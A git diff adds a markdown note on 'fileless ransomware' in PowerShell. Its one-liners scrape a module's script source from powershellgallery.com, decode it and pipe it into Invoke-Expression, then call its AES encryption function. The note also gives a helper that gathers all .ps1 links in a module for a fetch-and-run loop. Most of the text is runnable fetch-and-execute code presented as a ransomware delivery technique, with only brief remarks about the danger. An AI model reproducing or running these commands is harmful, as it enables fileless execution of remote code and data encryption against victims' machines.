Create cGpt.txt

VideoNotes/cGpt.txt

@@ -0,0 +1,59 @@
+# powerGallery
+
+This one liner will load the neccessary files to encrypt a system straight from the trusted powershellgallery.com website.
+Used in conjunction with a simple for loop its is now fileless ransomware hosted and executed from your platform
+
+```powershell
+([regex]::Matches((irm "https://www.powershellgallery.com/packages/PSAES/1.0.0.5/Content/Protect-AESMessage.ps1"),'(?<=<td class="fileContent .*?">).*?(?=<\/td>)','s').Value|%{[System.Net.WebUtility]::HtmlDecode($_)})-replace'<[^>]*>'-replace'^\s*',''-replace '[^\x20-\x7E]'|iex
+```
+
+Next its as simple as running the commands stored in that module agaisnt the system
+In this instance we can encrypt a string, but why stop there? 
+
+```powershell
+$encryptedMessage = Protect-AESMessage -Message "Sensitive Data" -Password "89c57yj78754cth8"
+```
+
+Combining them into a simple one liner. Together with yet another simple functionality the `for loop` you should be able to see the danger
+We could run fileless ransomware on a target computer all from a trusted source
+
+```powershell
+([regex]::Matches((irm "https://www.powershellgallery.com/packages/PSAES/1.0.0.5/Content/Protect-AESMessage.ps1"),'(?<=<td class="fileContent .*?">).*?(?=<\/td>)','s').Value|%{[System.Net.WebUtility]::HtmlDecode($_)})-replace'<[^>]*>'-replace'^\s*',''-replace '[^\x20-\x7E]'|iex;$encryptedMessage = Protect-AESMessage -Message "Sensitive Data" -Password "89c57yj78754cth8"
+```
+
+You can use this function to grab the links of all the .ps1 files in a module from the powershell gallery website
+
+```powershell
+function Get-Ps1Urls {
+    param ([string]$Url)
+    try {
+        $content = Invoke-RestMethod -Uri $Url
+        $regex = '<a\s+[^>]*href="([^"]+\.ps1)"[^>]*>'
+        $matches = [regex]::Matches($content, $regex)
+        $baseURL = "https://www.powershellgallery.com"
+        $ps1Links = @()
+        foreach ($match in $matches) {
+            $relativeLink = $match.Groups[1].Value
+            $fullLink = $baseURL + $relativeLink
+            $ps1Links += $fullLink
+        }
+        return $ps1Links
+    }
+    catch {
+        Write-Error "An error occurred: $_"
+    }
+}
+```
+
+Syntax:
+
+```powershell
+$urls = get-Ps1Urls -Url "https://www.powershellgallery.com/packages/PSAES/1.0.0.5"
+```
+
+
+```powershell
+$urls = @("https://www.powershellgallery.com/packages/PSAES/1.0.0.5/Content/Protect-AESMessage.ps1")
+
+foreach ($url in $urls){([regex]::Matches((irm "$url"), '(?<=<td class="fileContent .*?">).*?(?=<\/td>)', 's').Value|%{[System.Net.WebUtility]::HtmlDecode($_)})-replace'<(?!#)[^>]+>|(?<!<#)>(?![^#])',''}
+```